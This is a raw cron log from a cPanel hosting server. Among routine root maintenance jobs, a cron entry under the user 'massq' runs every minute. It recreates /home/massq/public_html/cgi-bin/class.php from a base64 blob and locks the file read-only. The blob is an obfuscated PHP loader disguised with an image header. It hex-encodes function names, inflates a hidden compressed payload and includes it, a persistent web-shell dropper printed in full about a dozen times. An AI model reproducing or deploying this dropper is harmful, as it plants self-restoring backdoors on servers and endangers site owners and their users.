Sep 12 15:05:01 server CROND[1633]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 15:05:01 server CROND[1635]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 15:06:01 server CROND[2526]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:06:01 server CROND[2527]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:06:01 server CROND[2525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:07:01 server CROND[2924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:07:01 server CROND[2925]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:07:01 server CROND[2926]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:08:01 server CROND[3385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:08:01 server CROND[3386]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:08:01 server CROND[3387]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:09:01 server CROND[3770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:09:01 server CROND[3771]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:09:01 server CROND[3772]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:09:01 server CROND[3773]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 15:10:01 server CROND[4162]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 15:10:01 server CROND[4163]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 15:10:01 server CROND[4169]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:10:01 server CROND[4171]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 15:10:01 server CROND[4170]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 15:10:01 server CROND[4173]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 15:10:01 server CROND[4172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:10:01 server CROND[4168]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:11:01 server CROND[4995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:11:01 server CROND[4996]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:11:01 server CROND[4997]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:12:02 server CROND[5377]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 15:12:02 server CROND[5378]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:12:02 server CROND[5379]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:12:02 server CROND[5380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:13:01 server CROND[5831]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:13:01 server CROND[5832]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:13:01 server CROND[5833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:14:01 server CROND[6223]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:14:01 server CROND[6224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:14:01 server CROND[6225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:15:01 server CROND[6601]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 15:15:01 server CROND[6605]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 15:15:01 server CROND[6613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:15:01 server CROND[6619]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 15:15:01 server CROND[6620]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 15:15:01 server CROND[6623]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:15:01 server CROND[6622]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:15:01 server CROND[6621]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 15:16:01 server CROND[7447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:16:01 server CROND[7448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:16:01 server CROND[7449]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:17:01 server CROND[7812]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 15:17:01 server CROND[7814]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 15:17:01 server CROND[7813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 15:18:01 server CROND[8278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
